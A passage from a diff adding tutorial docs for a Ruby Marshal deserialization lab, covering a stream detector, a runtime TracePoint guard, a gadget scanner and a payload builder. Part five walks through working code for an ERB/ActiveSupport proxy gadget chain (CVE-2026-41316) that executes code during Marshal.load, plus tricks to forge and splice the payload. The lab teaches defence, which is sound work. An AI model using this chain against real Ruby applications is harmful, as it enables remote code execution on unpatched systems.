chain CVE-2026-41316 hash + psych-init-with chain none init_with +``` + +**Primitive and chain are different labels and the difference is load-bearing.** A *chain* fires inside the deserializer with no cooperation from the application. A *primitive* forges an object past a guard and stays inert until the application does something with it. Labelling `erb-def-method` a chain would overstate it; deleting it would delete the lesson that the dangerous call site can live in your own code. + +Each chain declares the versions it affects as real `Gem::Requirement` constraints, so the boundary is queryable rather than prose: + +``` + erb 4.0.3 affected? true + erb 4.0.3.1 affected? false + erb 6.0.1 affected? true + erb 6.0.1.1 affected? false + erb 6.0.4 affected? false +``` + +### The builder must never run its own payload + +This is the constraint that shapes the offensive half, and it is not obvious until it bites you. + +The `erb-def-module` chain enters through hash-key position. So the natural way to build it is `Marshal.dump({ proxy => 1 })`. That calls `#hash` on the proxy **while your builder is constructing the literal**, which fires the chain locally, in the process that was supposed to be generating a payload for somewhere else. + +The fix is to never put the object in a hash at all. `Base#in_hash_key_position` dumps the object standalone, slices off its two header bytes, and splices the body into a hand-written one-entry hash frame: + +``` + Marshal.dump(nil) "\x04\b" "0" + ^^^^^^ take the header + + Marshal.dump(proxy) "\x04\b" + ^^^^^^ take the body + + result "\x04\b" "{\x06" "0" + ^^^^^^ ^^^ nil value + one-entry hash frame +``` + +There is one way that splice can go wrong, and the code refuses rather than risking it. Marshal object links are **positional**: `@6` means "the sixth registered object." Splicing a body behind a hash node shifts every index by one, so a payload graph containing a back-reference would silently decode into a different graph than the one you built. So after splicing, the builder parses its own output and raises `ObjectLinkRefusedError` if any object link survived. A payload generator that can produce a graph it did not intend is worse than one that refuses. + +## The runtime guard + +`LoadGuard` does the thing the allowlist proc cannot: it vetoes **before** the method body runs. A `TracePoint` on `:call` fires at method entry, so raising from the handler means the body never executes. + +``` + Marshal.load + │ + ├─ allocate Klass + ├─ dispatch marshal_load ──> TracePoint :call fires HERE + │ owner not permitted -> raise + │ (body never runs) + └─ r_post_proc ──> your allowlist proc would have run HERE, too late +``` + +The hook list is derived by enumeration, not guessed. Tracing every `:call` and `:c_call` during a load of a payload containing a plain object, a `marshal_load` class, a `_load` class, a `Struct`, an extended object, subclassed `Hash`/`Array`/`String`, a custom-`#hash` key, a `Range`, `Time`, `Rational`, `Regexp`, and an `Exception` produces this complete dispatch surface: + +``` +ALL distinct method_ids seen: [:_load, :hash, :initialize, :load, :marshal_load] +``` + +Small, which is why the guard is tractable at all. + +One structural rule holds the whole thing up: **the guard never dispatches a method on the receiver it is inspecting.** It resolves the owner's name through `Object.instance_method(:class)`, `Object.instance_method(:is_a?)`, and `Module.instance_method(:name)`, bound to the receiver rather than called on it. The receiver is a gadget, a method-erased proxy answers `.class` and `.is_a?` through `method_missing`, and `method_missing` is exactly what the shipped chain enters through. A guard that asks the object what it is fires the chain it was about to veto, inside a `TracePoint` handler that does not trace its own nested calls. [03-IMPLEMENTATION.md](./03-IMPLEMENTATION.md) has the transcript of that failure and the test that pins it. + +### It ships its own bypasses, including one left open by default + +The default hook set watches `marshal_load`, `_load`, `_load_data`, `method_missing`, and `respond_to_missing?`. It does **not** watch `#hash` and `#eql?`. That is a deliberate, documented hole, and here is the three-way comparison on the same 19-byte payload: + +``` +default guard -> LOADED, #hash fired, watches?(:hash)=false +strict guard -> blocked: deserialization hook OKey#hash is not permitted, #hash never fired +detector -> blocked, nothing loaded at all +``` + +The default guard lets the ungated key shape through. Why leave it open? Because `#hash` and `#eql?` are among the hottest methods in Ruby, and watching them changes both the cost and the false-positive profile completely. `strict: true` closes it and accepts that cost. The **detector** catches the same shape before any bytes are loaded, which is the cheaper place to catch it, and the guard's limitation notice points at it explicitly. + +The other limits, stated in the same notice rather than in a footnote: + +- **It covers the load window only.** A class carrying no hook at all is instantiated freely and fires whenever the application later touches it. That is outside any window this guard can see, and it is exactly how the `erb-def-method` primitive works. +- **It is thread-scoped.** A load on another thread is not covered. +- **Its cost is not a multiplier.** Enabling a `TracePoint` costs roughly 46 microseconds per load, near enough constant, so the ratio is decided by how much work the load itself does: 1.0x on a 488 KB document, 1.1x on 46 KB, 20.7x on a 142-byte session, **40.4x on a 45-byte session cookie**. A session cookie is exactly what this lab deserializes, so the number is published with the payload size attached. An earlier version of this project's research recorded "1.4x" from a single large-payload measurement, and that figure is now marked with a dated correction, because a ratio quoted without its payload size reads as an endorsement it has not earned. + +## The target + +A Sinatra app on Rack 3, in a container with no route off the host, read-only root filesystem, dropped capabilities, `no-new-privileges`, a pids limit, and one writable `tmpfs` for the canary file. + +Four endpoints, arranged as two matched pairs so the difference is one `curl` apart: + +``` + POST /session issue a benign session cookie + + GET /render Marshal.load, then compile the template VULNERABLE + GET /render/safe inspect the stream first, then load DEFENDED + + GET /yaml/unsafe YAML.unsafe_load the same session VULNERABLE + GET /yaml/safe inspect, then YAML.safe_load DEFENDED + + GET /canary report whether the canary file exists +``` + +The pairing is the lesson from [01-CONCEPTS.md](./01-CONCEPTS.md) made executable. `/render` and `/yaml/unsafe` both reach code execution with the same ERB object. `/yaml/safe` refuses it **by tag**, before revival, because Psych's allowlist is a real veto. `/render/safe` can only inspect the bytes and hope, because Marshal's is not. + +Note what `/render/safe` does after the detector accepts: it still calls `Marshal.load` inside a `rescue`, still checks the result is actually a session hash, and only then compiles. Three layers, because the first one is explicitly not a boundary. + +The target gate drives all of this from a **second container on the same internal network** rather than from a host port. `--internal` Docker networks block published ports, so a gate that tried to `curl` from the host would either fail or force the network to be non-isolated. Attacking the target from inside the network keeps the egress isolation real. + +## Limits: fourteen axes, all on by default + +The parser bounds fourteen separate resources, and every one of them is enforced unless you opt out: + +``` + stream bytes nodes registered objects symbol definitions + collection entries scalar bytes total scalar bytes object links + symbol references symbol name bytes class name bytes instance variables + struct members nesting depth +``` + +Two design notes. The limits are **on by default and opt-out**, not off by default and opt-in, because the caller who most needs them is the one who never read this page. And `Limits.permissive` still pins `max_depth`, because unbounded recursion in a recursive-descent parser is a stack overflow rather than a slow parse, and "permissive" should not mean "crashes the process." + +They fail before they allocate: + +``` +DepthLimitError: exceeded depth 4 +LimitExceededError: stream bytes 110 exceeds 8 +``` + +## The gate + +Six stages, run by `just gate`, 79 assertions, all of which must pass: + +| Stage | What it proves | +|---|---| +| `check` | the seven test suites plus standalone control scripts | +| `matrix` | which Ruby versions the chain fires on, by running it in each | +| `exploit` | the CVE boundary in both directions: fires on the vulnerable image, blocked on the patched one, one `docker pull` apart | +| `detector` | the adversarial corpus, every payload and what the detector decided | +| `target` | end-to-end exploitation over real HTTP, plus isolation, error-leak, and the sink-tag check | +| `package` | the built artifact, the manifest audit, the install path, release identity, negative controls | + +**Every stage carries an input it must reject.** A gate with only positive cases cannot detect a checker that always says yes. The detector corpus is the clearest example, because the accepts and the rejects sit in the same table: + +``` + object_in_value_position_control accept Foo + hash_key_object reject Foo stream puts "Foo" in a hash key, so its #hash runs d + hash_key_object_link reject Foo stream puts "Foo" in a hash key, so its #hash runs d + hash_key_struct reject Foo stream puts "Foo" in a hash key, so its #hash runs d + hash_key_extended reject Foo,Comparable stream puts "Comparable" in a hash key, so its #hash + hash_key_user_class_over_array reject Foo stream puts "Foo" in a hash key, so its #hash runs d + hash_key_bare_array reject Foo stream puts "Foo" in a hash key, so its #hash runs d + hash_key_nested_bare_array reject Foo stream puts "Foo" in a hash key, so its #hash runs d + hash_key_user_class_over_string reject Foo stream puts "Foo" in a hash key, so its #eql? runs d + hash_key_extended_over_string reject Comparable stream puts "Comparable" in a hash key, so its #eql? + hash_key_regexp accept + hash_key_array_of_primitives accept + hash_key_empty_array accept + range_with_object_endpoints reject Foo,Range stream puts "Foo" in a Range endpoint, so its #<=> r + range_with_primitive_endpoints accept Range +``` + +Read the accepts as carefully as the rejects. `hash_key_regexp`, `hash_key_array_of_primitives`, and `hash_key_empty_array` are all key-position payloads that must **not** be rejected, and they are what stop the key-position rules from degenerating into "reject anything in a key." + +`object_in_value_position_control` is the sharpest of them. The same class, in the same stream, in **value** position instead of key position, must be accepted. Without it, a detector that simply rejected every stream mentioning `Foo` would pass every rejection case in the table. + +There is a further refinement worth naming, because it took a real bug to learn: **two checks that both reject the same input alibi each other.** If a control is refused by the tag check *and* by the class check, gutting either one leaves the gate green. So the target gate carries a YAML document that the inspector approves and Psych still refuses, specifically to isolate the two layers from each other. + +## Where to go next + +[03-IMPLEMENTATION.md](./03-IMPLEMENTATION.md) walks the code: bytes into a node graph, a node graph into a decision, a live object into a payload, and the ActiveSupport proxy chain end to end as the showpiece. diff --git a/PROJECTS/beginner/deserialization-gadget-lab/learn/03-IMPLEMENTATION.md b/PROJECTS/beginner/deserialization-gadget-lab/learn/03-IMPLEMENTATION.md new file mode 100644 index 00000000..70b381f0 --- /dev/null +++ b/PROJECTS/beginner/deserialization-gadget-lab/learn/03-IMPLEMENTATION.md @@ -0,0 +1,605 @@ + + + +# marshalsea: Implementation + +A code walkthrough, in the order data actually moves: bytes into a graph, a graph into a decision, a live class graph into a list of gadgets, and a live object into a payload. Open the files alongside this. Nothing here quotes a line number, because line numbers rot; everything is named by method. + +Every transcript in this chapter was produced by running the code in `ruby:4.0-slim` (Ruby 4.0.6). If you run the same thing and get something different, believe your terminal. + +## Part one: bytes into a graph + +`Marshalsea::Marshal::Parser` is a recursive-descent reader over the Marshal wire format. Start with the simplest possible dumps and read the bytes: + +``` +Marshal.dump(nil) "\x04\b0" +Marshal.dump(true) "\x04\bT" +Marshal.dump(1) "\x04\bi\x06" +Marshal.dump(:hi) "\x04\b:\ahi" +Marshal.dump("hi") "\x04\bI\"\ahi\x06:\x06ET" +Marshal.dump([1, 2]) "\x04\b[\ai\x06i\a" +Marshal.dump({a: 1}) "\x04\b{\x06:\x06ai\x06" +``` + +`"\x04\b"` is the version header, major 4 minor 8, on every stream. After that it is one tag byte and then whatever that tag needs. + +### The dispatch + +`read_value` is a `case` over the tag byte and it is the whole grammar. The interesting thing about it is what it does *not* do: there is no class resolution, no `const_get`, no allocation of anything from the stream. A `TAG_OBJECT` produces a `Node` with `type: :object` and a `class_name` string. The string `"Gem::Requirement"` never becomes the constant `Gem::Requirement`. + +Three arms of that case are the sinks: + +```ruby +when TAG_USERDEF then register(read_userdef(tag, depth)) # u -> Klass._load +when TAG_USERMARSHAL then read_usermarshal(tag, depth) # U -> obj.marshal_load +when TAG_DATA then read_wrapped(tag, :data, depth) # d -> Klass._load_data +``` + +Everything downstream that reasons about sinks reads `Node#sink?` and `Node#sink_method`, which are lookups in a frozen constant table keyed by tag. Adding a fourth sink tag means adding one entry, not editing a predicate. + +### Fixnum packing, because you will hit it immediately + +`read_fixnum` implements Marshal's variable-width integer, and it is worth understanding because *every* length in the format is one: + +```ruby +marker = take_signed_byte +return 0 if marker.zero? +return marker - FIXNUM_INLINE_OFFSET if marker > FIXNUM_MAX_INLINE # marker > 4 +return marker + FIXNUM_INLINE_OFFSET if marker < FIXNUM_MIN_INLINE # marker < -4 +# otherwise |marker| is a BYTE COUNT, and the value follows little-endian +``` + +So small integers are inline with a bias of 5, and larger ones declare a width. Now the byte string above decodes on sight: + +``` +"\x04\b{\x06:\x06ai\x06" + ^^^^ marker 6, so fixnum 1: the hash has 1 entry + ^^^^ marker 6, so 1: the symbol name is 1 byte + ^ "a" + ^^^^^^ tag i, marker 6, so the value is 1 +``` + +And class-name lengths work identically. `"\x15Gem::Requirement"` is marker 0x15 = 21, so 21 - 5 = 16 bytes of name, and `"Gem::Requirement".length` is 16. + +### The two back-reference tables + +Marshal deduplicates, and both mechanisms are index-based. This matters more than it looks. + +**Symbols** go in a table as they are defined. `TAG_SYMBOL` appends to `symbols`; `TAG_SYMLINK` reads an index back out. **Objects** go in a separate table via `register`, and `TAG_OBJECT_LINK` reads an index out of that one. `read_symlink` and `read_object_link` both bounds-check and raise `InvalidLinkError` on a negative or out-of-range index, because an out-of-range link is a stream claiming a reference to an object that does not exist. + +Dumping two `Gem::Version`s shows both tables working: + +``` +"\x04\b[\aU:\x11Gem::Version[\x06I\"\x061\x06:\x06ETU;\x00[\x06I\"\x062\x06;\x06T" + ^^^^ symlink 0 -> :"Gem::Version" + ^^^^ symlink 1 -> :E +``` + +The second `Gem::Version` is not spelled out; it is `;\x00`, symlink index zero. Any code that reasons about "which classes are in this stream" has to resolve symlinks or it will miss the second one entirely. `Node` stores the resolved symbol value at parse time so downstream consumers never have to think about it. + +Object links are the ones that bite. `Node#link_target` is set to the actual registered node, and `effective_class_name` follows it: + +```ruby +def effective_class_name + link_target ? link_target.class_name : class_name +end +``` + +Without that, a payload that puts the dangerous object in value position and then references it by index from key position would show a key whose own `class_name` is `nil`. The corpus has that exact case (`hash_key_object_link`), and it rejects. + +### Budgets are charged at the point of consumption + +`Budget` is threaded through the parser and every read charges it before it allocates. `read_counted_bytes` charges `scalar!(size)` **before** `take(size)`, so a stream declaring a 900 MB string is refused at the declaration rather than after the allocation. `read_entry_count` charges before the loop. `register` charges before appending. + +That ordering is the entire point of having a budget: + +``` +DepthLimitError: exceeded depth 4 +LimitExceededError: stream bytes 110 exceeds 8 +``` + +### Sealing + +`parse` finishes with `root.each(&:seal)` and returns a frozen `Result`. `Node#seal` freezes the value, the class name, the undecoded tail, both children arrays, both instance-variable collections, and finally the node. The graph handed back is immutable, so a caller holding a `Decision#result` cannot mutate the record a policy decision was made from. + +## Part two: the graph answers questions + +`Result` is a set of queries over the frozen graph. `nodes` is `root.each`, a depth-first enumerator that walks children **and** the `auxiliary` array, which is where class-name symbols and instance-variable name/value pairs live. Missing `auxiliary` would mean missing anything hidden in a name slot, which is exactly the anomaly case the parser exists to preserve. + +```ruby +def class_names = nodes.filter_map(&:class_name).uniq +def sinks = nodes.select(&:sink?) +``` + +Run it on a real stream: + +```ruby +blob = Marshal.dump(Gem::Requirement.new(">= 0")) +r = Marshalsea::Marshal::Parser.new(blob).parse + +r.class_names +# => ["Gem::Requirement", "Gem::Version"] +r.sinks.map { |s| "#{s.class_name}##{s.sink_method}" } +# => ["Gem::Requirement#marshal_load", "Gem::Version#marshal_load"] +``` + +62 bytes, two classes, two `marshal_load` dispatches, and nothing was loaded. + +### Key-position dispatch is a recursive question + +`hash_keys` collects the first element of every `:pair` under every `:hash`. Then each key is asked whether reviving it dispatches `#hash` or `#eql?`. That question is not "is this key an object," because the dangerous thing can be **nested**: + +```ruby +def hash_dispatcher(seen = {}.compare_by_identity) + return nil if seen.key?(self) + + seen[self] = true + return link_target&.hash_dispatcher(seen) if type == :object_link + return member_dispatcher(:hash_dispatcher, seen) unless class_name + return nil if WRAPPER_TYPES.include?(type) && string_backed? + + self +end +``` + +Four behaviours in six lines: + +- **Cycle safety.** `seen` is identity-compared, so a graph with an object link pointing back into its own ancestry terminates instead of recursing forever. +- **Follow links.** An object link delegates to whatever it points at. +- **Descend into containers.** A node with no `class_name` is a plain container, so ask its members. That is what catches `{ [gadget] => 1 }`, the bare-Array-key bypass, in 19 bytes. +- **Respect the String fast path.** `WRAPPER_TYPES` is `:user_class` and `:extended`, and `string_backed?` checks whether the wrapped node is a string or regexp. A `String` subclass used as a hash key **never has `#hash` called**, because CRuby's `rb_any_hash` special-cases `T_STRING`. Reporting it would be a false positive. + +`eql_dispatcher` is nearly identical and deliberately **omits** the last clause. A `String` subclass skips `#hash` but still reaches `#eql?` on bucket collision. Two methods that look like copy-paste differ by exactly one line, and that one line is a shipped bypass. + +Ranges get their own path. `range_endpoints` reads the `begin` and `end` instance variables of any node whose `effective_class_name` is `"Range"`, because `Range#marshal_load` validates its endpoints with `#<=>`. + +## Part three: the graph becomes a decision + +`BoundaryDetector#inspect_stream` is short enough to read whole: + +```ruby +def inspect_stream(input) + return reject(REASON_INPUT_TYPE) unless input.is_a?(String) + + snapshot = input.dup.force_encoding(Encoding::BINARY).freeze + result = Parser.new(snapshot, limits: limits).parse + evaluate(result, snapshot) +rescue StreamError => e + reject(format(REASON_MALFORMED, e.class.name.split("::").last)) +end +``` + +Three things to notice. The input is **duplicated, binary-forced, and frozen** before anything reads it, so the caller cannot mutate the bytes between the decision and the load (`decision.snapshot` is what you should hand to `Marshal.load`, not the original). Every parser error is caught as its base class `StreamError`, so a new error type added to the parser cannot leak out as an unhandled exception. And the reason string carries only the **error class name**, not its message, because the message can contain attacker-influenced offsets and sizes. + +`violation_for` is the ladder from [02-ARCHITECTURE.md](./02-ARCHITECTURE.md), in order, returning the first hit. Then `evaluate` turns a violation into one of three states, and monitoring mode is the only branch that calls the reporter and still hands back a snapshot. + +Watching all three states on real payloads: + +``` +usermarshal sink blocked stream reaches "Gem::Requirement"#marshal_load during load, before any + allowlist can run +object in key position blocked stream reaches "Gem::Version"#marshal_load during load, before any + allowlist can run +bare Array key blocked stream puts "Ungated" in a hash key, so its #hash runs during load, + before any allowlist can act +Range endpoint blocked stream puts "Ungated" in a Range endpoint, so its #<=> runs during + load, before any allowlist can act +benign 45-byte session proceed +same session with ERB blocked stream references unapproved class "ERB" +``` + +And the third state, which is the one people forget exists: + +``` +state=observed proceed?=false blocked?=false observed?=true +snapshot present=true reported=1 +``` + +`observed` is not `proceed`. A caller who writes `Marshal.load(d.snapshot) if d.proceed?` gets the safe behaviour in monitoring mode for free, which is why there is no `accepted?` predicate to get this wrong with. + +Note the last reason string in that transcript. `"stream references unapproved class \"ERB\""` is the **only** rule that catches the published CVE chain, because that payload contains no sink tag at all: + +```ruby +Marshalsea::Chains::ErbDefMethod.canary("/tmp/c", "m").serialize +# 112 bytes +# class_names = ["ERB"] +# sinks = 0 <-- zero sink tags +``` + +That fact is written into `LIMITATION_NOTICE` as a constant rather than left in a doc, so a caller who greps the library for its own caveats finds it. + +## Part four: hunting the class graph + +`Scanner#scan` walks `ObjectSpace.each_object(Module)`, and for each named module collects the auto-invoked methods the module defines **itself**: + +```ruby +def own_instance_methods(mod, name) + (mod.instance_methods(false) + + mod.private_instance_methods(false) + + mod.protected_instance_methods(false)).map(&:to_s) +rescue StandardError => e + suppress(SITE_OWN_METHODS, name, e) + [] +end +``` + +`false` means "not inherited," which is the difference between finding the class that *defines* a gadget and finding all 400 of its subclasses. Private and protected are included because `Marshal` gates on `respond_to?(m, true)`, and that `true` means private methods count. + +Every one of these helpers has the same shape: rescue, `suppress` with a named site, return an empty result. Nothing raises out of a scan, and nothing is lost silently. + +### Deciding whether an ungated method is interesting + +For a gated method the tag alone reaches it, so it is reachable by definition. For an ungated one like `#hash`, the scanner has to guess whether the body does anything. `state_reference_in` parses the defining file with Prism, finds the `DefNode` at the method's `source_location` line, and asks: + +```ruby +def state_reference?(node) + return false unless node.is_a?(Prism::Node) + return true if node.is_a?(Prism::InstanceVariableReadNode) + return true if node.is_a?(Prism::CallNode) && node.receiver.nil? + + node.compact_child_nodes.any? { |child| state_reference?(child) } +end +``` + +Reads an instance variable, or makes a receiverless call. A `#hash` returning a literal is inert; a `#hash` reading `@name` or calling a sibling method is a potential pivot. Parsed files are cached by path, because Prism-parsing `rubygems/specification.rb` once per candidate would be slow and pointless. + +The failure directions are the interesting part. No Prism, or no source location at all, gives `:unanalysable`. A file that will not parse, or a line with no `DefNode`, gives `:unreadable`. And then: + +```ruby +def reachable? + return false unless entry_point? + return false unless accepts_dispatch? + return true if gated? || soft_gated? + + touches_state? || unreadable_source? +end +``` + +`unreadable_source?` counts as reachable. When the tool cannot tell, it says "maybe dangerous," not "inert." On a stock image that is 8 candidates: + +``` +unreadable_source candidates: 8 + ERB::Compiler::PercentLine#to_s reachable=false <- a LINK, excluded before this ever ran + Pathname#== reachable=true + Pathname#eql? reachable=true + Pathname#hash reachable=true + Pathname#to_s reachable=false + Ractor#[]= reachable=true + Symbol#to_s reachable=false +``` + +The `to_s` rows are the taxonomy earning its place. They are unreadable *and* they are links, and `entry_point?` rejects them before the state analysis matters at all. + +The 142 `unanalysable` candidates are C-defined methods with no Ruby source. `fully_analysed?` returns false and the scan says so in plain English rather than printing a clean-looking list. + +### The arity gate + +```ruby +def accepts_dispatch? + required = dispatch_arity + return true if required == VARIADIC + return arity == required unless arity.negative? + + required >= (arity.abs - 1) +end +``` + +A negative `Method#arity` means optional or splat arguments, and `arity.abs - 1` is the count of required ones, so the check is "the deserializer supplies at least as many as this method requires." On a stock image it rejects exactly one candidate, and it is a good one: + +``` +entry points whose arity cannot accept the deserializer's call: 1 + Psych::Visitors::ToRuby#init_with arity=3 needs=1 +``` + +Psych's own visitor method shares a name with the hook it dispatches. Without the arity column that would sit at the top of every scan forever. + +## Part five: building the payload + +This is the showpiece. `erb-def-module` fires inside `Marshal.load` with no cooperation from the application, and it takes three separate tricks to get there. + +### Trick one: forge the ERB past the guard + +CVE-2026-41316 is a guard that covers `ERB#result` and `ERB#run` but not `ERB#def_method`. The forge is three instance variables on an allocated object, and it deliberately never calls `ERB#initialize`, because `initialize` is what sets `@_init`: + +```ruby +def template + object = ERB.allocate + object.instance_variable_set(IVAR_SRC, src) + object.instance_variable_set(IVAR_FILENAME, DEFAULT_FILENAME) + object.instance_variable_set(IVAR_LINENO, DEFAULT_LINENO) + object +end +``` + +`@src` is the compiled template source that `def_method` will `module_eval`. And `src` is where the actual primitive lives: + +```ruby +SRC_PREFIX = "#\nend\n" +SRC_SUFFIX = "\ndef _marshalsea_unused\n" + +def src = "#{SRC_PREFIX}#{@ruby_source}#{SRC_SUFFIX}" +``` + +Six characters at the front and twenty-four at the back, and both ends are load-bearing. `ERB#def_method` builds the method like this, read from the shipped source: + +```ruby +src = self.src.sub(/^(?!#|$)/) { "def #{methodname}\n" } << "\nend\n" +``` + +It does not prepend. It inserts `def ` before the **first line that is neither a comment nor blank**, because a real compiled ERB `@src` opens with `#coding:UTF-8` and that magic comment has to stay on line one. So `SRC_PREFIX`'s leading `#` is a forged magic comment whose only job is to push the insertion point one line down, onto the `end`: + +```ruby +# # forged magic comment, the sub skips it +def render_it # the wrapper lands on the `end` line +end # and closes immediately: an empty method +File.write("/tmp/canary", "pwned") # now at module_eval top level +def _marshalsea_unused # a second empty method, which absorbs the + # "\nend\n" that def_method appends +end +``` + +Run that through `module_eval` and the payload executes during `eval`, with two empty methods left behind as debris: + +``` +fired during eval: [:RAN_AT_EVAL_TIME] +methods defined: [:_marshalsea_unused, :render_it] +``` + +That converts "defines a method containing my code" into "**runs my code now**," which is the difference between a payload that waits for someone to call a method and a payload that fires during load. It is the whole reason the advisory calls `def_method` exploitable rather than merely unguarded. + +### Trick two: get something to call `def_module` for you + +The forged ERB is inert until something calls a `def_*` method on it. `ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy` is a `method_missing` dispatcher: it forwards any missing method to `@instance.send(@method)`. Set those two ivars and the proxy becomes a trigger: + +```ruby +def generate + proxy = self.class.dispatcher_class.allocate + SET_IVAR.bind_call(proxy, IVAR_INSTANCE, template) # the forged ERB + SET_IVAR.bind_call(proxy, IVAR_METHOD, DISPATCH_METHOD) # :def_module + SET_IVAR.bind_call(proxy, IVAR_VAR, PROXY_LABEL) + SET_IVAR.bind_call(proxy, IVAR_DEPRECATOR, deprecator) + proxy +end +``` + +`def_module` is chosen over `def_method` for one reason: **it takes no arguments**, so a blind `send` with no arguments reaches it. `def_method` needs a module and a name, which a `method_missing` forwarder is not going to supply. + +Note `SET_IVAR.bind_call`. That is `Object.instance_method(:instance_variable_set)`, captured once at load time and bound to the proxy. A plain `proxy.instance_variable_set(...)` would go through the proxy's own `method_missing`, which forwards to `@instance` and fires the chain while you are still building it. The proxy is hostile to its own constructor. + +`deprecator` builds a silenced `ActiveSupport::Deprecation` so the proxy does not print a deprecation warning on the way through, which would announce the payload in the target's logs. + +### Trick three: put it in key position without running it + +The proxy fires on `#hash`. Building `{ proxy => 1 }` in Ruby calls `#hash` on the key at insertion time, in **your** process. So the builder never constructs the hash: + +```ruby +def in_hash_key_position(object) + body = ::Marshal.dump(object).byteslice(HEADER_BYTES..) + header = ::Marshal.dump(nil).byteslice(0, HEADER_BYTES) + refuse_object_links("#{header}#{HASH_WITH_ONE_ENTRY}#{body}#{NIL_VALUE}".b) +end +``` + +`HASH_WITH_ONE_ENTRY` is `"{\x06"`, the hash tag plus an inline fixnum 1. `NIL_VALUE` is `"0"`. So the payload is assembled as bytes: a header, a one-entry hash frame, the standalone dump of the proxy spliced in as the key, and a `nil` value. `Marshal.dump` is called on the proxy alone, which never puts it in a hash, which never calls `#hash`. + +And then the refusal: + +```ruby +def refuse_object_links(stream) + graph = Marshalsea::Marshal::Parser.new(stream).parse + return stream if graph.nodes.none? { |node| node.type == :object_link } + + raise ObjectLinkRefusedError, OBJECT_LINK_REFUSED +end +``` + +Object links are positional. `@6` means "the sixth registered object," and splicing a body behind a hash node shifts every index by one. A payload graph containing a back-reference would silently decode into a *different graph* than the one that was built. So the builder parses its own output with the library's own parser and refuses if any link survived. A payload generator that can produce a graph it did not intend is worse than one that refuses to produce anything. + +That is also a nice closed loop: the offensive half validates itself with the defensive half's reader. + +### The whole thing, end to end + +Built, serialized, inspected, and loaded on `ruby:4.0.2-slim` with erb **6.0.1**, a vulnerable version: + +``` +payload bytes=308 +class_names=["ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy", "ERB", + "ActiveSupport::Deprecation"] +sink tags=0 +hash_dispatching_keys=["ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"] + +detector (deny_sinks_only) -> blocked: stream puts "ActiveSupport::Deprecation:: + DeprecatedInstanceVariableProxy" in a hash key, so its #hash runs during load, + before any allowlist can act + +canary2 before: false +canary2 after Marshal.load: true PWNED-VIA-LOAD +``` + +308 bytes, **zero sink tags**, and a file on disk after a bare `Marshal.load`. Nothing called a method on the result. The detector still refuses it, and refuses it on the key-position rule rather than the sink rule, which is why rules 3 through 5 of the ladder exist at all. + +The same payload on `ruby:4.0.6-slim` with erb **6.0.4**, one `docker pull` away, does not get that far. Ruby prints the chain for you on the way out: + +``` +ERB#def_method: not initialized (ArgumentError) + from ERB#def_module + from ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy#target + from ActiveSupport::Deprecation::DeprecationProxy#method_missing + from proxy.hash +``` + +Read that stack bottom to top and it is the chain diagram from [01-CONCEPTS.md](./01-CONCEPTS.md), written by the interpreter. The `not initialized` at the top is the CVE-2026-41316 patch: one `@_init` check added to `def_method`, closing `def_module` and `def_class` with it. + +## Part six: the runtime veto + +`LoadGuard#load` is small because `TracePoint` does the work: + +```ruby +def load(blob) + seen = [] + tracer = TracePoint.new(*EVENTS) { |event| inspect_event(event, seen) } + result = nil + begin + tracer.enable { result = ::Marshal.load(blob) } + ensure + @observations = seen.freeze + end + result +end +``` + +`EVENTS` is `[:call, :c_call]`. A `:call` event fires **at method entry, before the body**, which is precisely the veto point the allowlist proc denies you. `inspect_event` filters to the watched hooks, resolves the receiver's class name, records an `Observation`, and raises if the owner is not permitted: + +```ruby +permitted = !owner.nil? && permitted_class_names.include?(owner) +seen << Observation.new(class_name: label, method_name: event.method_id, permitted: permitted) +return if permitted + +raise GuardedLoadError, format(REASON, label, event.method_id) +``` + +The `!owner.nil? &&` is not decoration. An anonymous class has a `nil` name, and `[].include?(nil)` is false, but a permitted-list containing `nil` would match it. Failing closed on an unnameable owner is the right direction, and the observation still records it as `"(class with no name)"` so the veto is explainable afterwards. + +### The invariant that makes the veto real + +`owner_name` resolves the receiver's class **without dispatching a single method on the receiver**: + +```ruby +CLASS_OF = ::Object.instance_method(:class).freeze +KIND_OF = ::Object.instance_method(:is_a?).freeze +NAME_OF = ::Module.instance_method(:name).freeze + +def owner_name(receiver) + owner = KIND_OF.bind_call(receiver, ::Module) ? receiver : CLASS_OF.bind_call(receiver) + name = NAME_OF.bind_call(owner) + name if name.is_a?(String) && !name.empty? +rescue StandardError + nil +end +``` + +That looks like paranoia until you remember what the guard is inspecting. **The receiver is the gadget.** A method-erased proxy answers `.class`, `.is_a?`, and `.name` through `method_missing`, and on the chain this lab ships, `method_missing` is the trigger. A guard written the obvious way, `receiver.is_a?(Module) ? receiver : receiver.class`, therefore *fires the chain while deciding what to call it*, and then vetoes a payload that has already run. + +It gets worse, because Ruby does not trace a `TracePoint` handler's own nested calls. Confirmed: + +``` +methods traced with a plain handler: [:outer, :inner] +methods traced when the handler itself calls :inner: [:outer, :inner] +``` + +`:inner` appears once, not twice. So the detonation triggered from inside the handler is invisible to the guard *and* unguarded by it. + +The failure is loud once you know the fingerprint. Reverting the three `bind_call`s and running the shipped chain gives this: + +``` +strict guard: blocked -> deserialization hook (class with no name)#method_missing is not permitted +canary created? true +``` + +Blocked, and the payload ran anyway. `(class with no name)` is the tell: `receiver.class` had been answered by `method_missing`, which returned the anonymous `Module` that `ERB#def_module` produces, which has no name. With the unbound calls the same load reports the real owner and the canary never appears: + +``` +strict vetoed: ...DeprecatedInstanceVariableProxy#method_missing is not permitted canary_fired=false +default vetoed: ...DeprecatedInstanceVariableProxy#method_missing is not permitted canary_fired=false +``` + +`test_the_guard_never_dispatches_a_method_on_the_receiver_it_inspects` locks it in, and it is checkable in isolation: instrument a wiped proxy's `method_missing` and assert nothing in `[:class, :is_a?, :name]` was ever asked of it. + +``` +against the fixed guard: dispatched on the receiver: [] +against the reverted one: dispatched on the receiver: [:is_a?, :class] +``` + +Generalize it before you write a guard of your own: **anything that inspects a hostile object must not ask that object questions.** Unbind the method from the class you trust and bind it to the receiver you do not. + +`observations` is populated in an `ensure`, so a load that raises still leaves you the trace of what fired before it did. That is the difference between "blocked" and "blocked, and here is what it tried." + +In practice: + +``` +benign session -> {user: "guest", template: "hello"}, observations=[] +Gem::Requirement dump -> vetoed: deserialization hook Gem::Version#marshal_load is not permitted +``` + +And the documented hole, on the same 19-byte ungated payload: + +``` +default guard -> LOADED, #hash fired, watches?(:hash)=false +strict guard -> blocked: deserialization hook OKey#hash is not permitted, #hash never fired +detector -> blocked, nothing loaded at all +``` + +Three tools, three answers, one payload. The guard's own `LIMITATION_NOTICE` 